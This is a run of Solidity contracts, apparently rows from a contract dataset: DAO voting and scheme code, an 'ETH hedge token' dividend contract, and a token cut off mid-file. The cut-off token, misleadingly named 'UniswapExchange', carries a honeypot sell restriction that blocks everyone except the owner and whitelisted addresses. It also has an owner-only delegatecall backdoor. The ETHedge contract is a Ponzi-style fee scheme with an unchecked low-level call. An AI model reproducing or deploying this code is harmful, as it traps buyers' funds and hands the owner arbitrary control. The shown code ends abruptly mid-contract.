function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract GenericScheme is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewCallProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _callData,
string _descriptionHash
);
event ProposalExecuted(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _genericCallReturnValue
);
event ProposalExecutedByVotingMachine(
address indexed _avatar,
bytes32 indexed _proposalId,
int256 _param
);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct CallProposal {
bytes callData;
bool exist;
bool passed;
}
mapping(address=>mapping(bytes32=>CallProposal)) public organizationsProposals;
struct Parameters {
IntVoteInterface intVote;
bytes32 voteParams;
address contractToCall;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _decision)
external
onlyVotingMachine(_proposalId)
returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed == false, "cannot execute twice");
if (_decision == 1) {
proposal.passed = true;
execute(avatar, _proposalId);
} else {
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
}
emit ProposalExecutedByVotingMachine(address(avatar), _proposalId, _decision);
return true;
}
function execute(Avatar _avatar, bytes32 _proposalId) public {
Parameters memory params = parameters[getParametersFromController(_avatar)];
CallProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed, "proposal must passed by voting machine");
proposal.exist = false;
bytes memory genericCallReturnValue;
bool success;
ControllerInterface controller = ControllerInterface(_avatar.owner());
(success, genericCallReturnValue) = controller.genericCall(params.contractToCall, proposal.callData, _avatar);
if (success) {
delete organizationsProposals[address(_avatar)][_proposalId];
emit ProposalDeleted(address(_avatar), _proposalId);
emit ProposalExecuted(address(_avatar), _proposalId, genericCallReturnValue);
} else {
proposal.exist = true;
}
}
function setParameters(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteParams, _intVote, _contractToCall);
parameters[paramsHash].voteParams = _voteParams;
parameters[paramsHash].intVote = _intVote;
parameters[paramsHash].contractToCall = _contractToCall;
return paramsHash;
}
function getParametersHash(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteParams, _intVote, _contractToCall));
}
function proposeCall(Avatar _avatar, bytes memory _callData, string memory _descriptionHash)
public
returns(bytes32)
{
Parameters memory params = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId] = CallProposal({
callData: _callData,
exist: true,
passed: false
});
proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
emit NewCallProposal(address(_avatar), proposalId, _callData, _descriptionHash);
return proposalId;
}
function getContractToCall(Avatar _avatar) public view returns(address) {
return parameters[getParametersFromController(_avatar)].contractToCall;
}
} | 0 | 543 |
pragma solidity ^0.4.25;
interface DevsInterface {
function payDividends(string _sourceDesc) public payable;
}
contract ETHedgeToken {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
modifier onlyOwner{
require(msg.sender == owner_, "Only owner can do this!");
_;
}
event onPayDividends(
uint256 incomingDividends,
string sourceDescription,
address indexed customerAddress,
uint timestamp
);
event onBurn(
uint256 DividentsFromNulled,
address indexed customerAddress,
address indexed senderAddress,
uint timestamp
);
event onNewRefferal(
address indexed userAddress,
address indexed refferedByAddress,
uint timestamp
);
event onTakeCapital(
address indexed capitalAddress,
address indexed devAddress,
uint256 capitalEth,
uint256 devEth,
address indexed senderAddress,
uint timestamp
);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint tokens
);
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "ETH hedge token";
string public symbol = "EHT";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 5;
uint8 constant internal refferalFee_ = 15;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) internal refferals_;
mapping(address => mapping (address => uint256)) allowed_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
address private owner_=msg.sender;
mapping(address => uint256) internal lastupdate_;
uint private constant timePassive_ = 365 days;
uint8 constant internal entryFeeCapital_ = 9;
uint8 constant internal entryFeeReward_ = 1;
address public capital_=msg.sender;
address public devReward_=0xafC1D46163308c81BFb12d305CCb7deAbb39E1fE;
uint256 public capitalAmount_;
uint256 public AdminRewardAmount_;
function transferOwnership(address _newOwner) public onlyOwner{
require(_newOwner != address(0));
owner_ = _newOwner;
}
function changeOuts(address _newCapital) public onlyOwner{
require(_newCapital != address(0));
capital_ = _newCapital;
}
function payDividends(string _sourceDesc) public payable {
payDivsValue(msg.value,_sourceDesc);
}
function payDivsValue(uint256 _amountOfDivs,string _sourceDesc) internal {
address _customerAddress = msg.sender;
uint256 _dividends = _amountOfDivs;
if (tokenSupply_ > 0) {
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
}
emit onPayDividends(_dividends,_sourceDesc,_customerAddress,now);
}
function burn(address _checkForInactive) public {
address _customerAddress = _checkForInactive;
require(lastupdate_[_customerAddress]!=0 && now >= SafeMath.add(lastupdate_[_customerAddress],timePassive_), "This account cant be nulled!");
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
uint256 _dividends = dividendsOf(_customerAddress);
_dividends += referralBalance_[_customerAddress];
payDivsValue(_dividends,'Burn coins');
delete tokenBalanceLedger_[_customerAddress];
delete referralBalance_[_customerAddress];
delete payoutsTo_[_customerAddress];
delete lastupdate_[_customerAddress];
emit onBurn(_dividends,_customerAddress,msg.sender,now);
}
function takeCapital() public{
require(capitalAmount_>0 && AdminRewardAmount_>0, "No fundz, sorry!");
uint256 capitalAmountTrans=capitalAmount_;
uint256 adminAmountTrans=AdminRewardAmount_;
capitalAmount_=0;
AdminRewardAmount_=0;
capital_.call.value(capitalAmountTrans)();
DevsInterface devContract_ = DevsInterface(devReward_);
devContract_.payDividends.value(adminAmountTrans)('ethedge.co source');
emit onTakeCapital(capital_,devReward_,capitalAmountTrans,adminAmountTrans,msg.sender,now);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed_[_from][_to];
uint256 _amountOfTokens=_value;
require(tokenBalanceLedger_[_from] >= _amountOfTokens && allowance >= _amountOfTokens);
if ((dividendsOf(_from) + referralBalance_[_from])>0){
withdrawAddr(_from);
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_from] = SafeMath.sub(tokenBalanceLedger_[_from],_amountOfTokens);
tokenBalanceLedger_[_to] =SafeMath.add(tokenBalanceLedger_[_to],_taxedTokens);
payoutsTo_[_from] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_to] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
allowed_[_from][_to] = SafeMath.sub(allowed_[_from][_to],_amountOfTokens);
emit Transfer(_from, _to, _amountOfTokens);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed_[_owner][_spender];
}
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
if (msg.value == 1e10) {
reinvest();
}
else if (msg.value == 2e10) {
withdraw();
}
else if (msg.value == 3e10) {
exit();
}
else {
purchaseTokens(msg.value, 0x0);
}
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
withdrawAddr(_customerAddress);
}
function withdrawAddr(address _fromAddress) onlyStronghands internal {
address _customerAddress = _fromAddress;
lastupdate_[_customerAddress] = now;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
if (_amountOfTokens>stakingRequirement) {
lastupdate_[_toAddress] = now;
}
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function refferedBy(address _customerAddress) public view returns (address) {
return refferals_[_customerAddress];
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
lastupdate_[_customerAddress] = now;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_-entryFeeCapital_-entryFeeReward_), 100);
uint256 _capitalTrade = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeCapital_), 100);
uint256 _adminReward = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFeeReward_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.div(SafeMath.mul(_incomingEthereum, 100-entryFee_), 100);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement &&
refferals_[_customerAddress] == 0x0
) {
refferals_[_customerAddress] = _referredBy;
emit onNewRefferal(_customerAddress,_referredBy, now);
}
if (
refferals_[_customerAddress] != 0x0 &&
tokenBalanceLedger_[refferals_[_customerAddress]] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
capitalAmount_=SafeMath.add(capitalAmount_,_capitalTrade);
AdminRewardAmount_=SafeMath.add(AdminRewardAmount_,_adminReward);
if (capitalAmount_>1e17){
takeCapital();
}
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,543 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
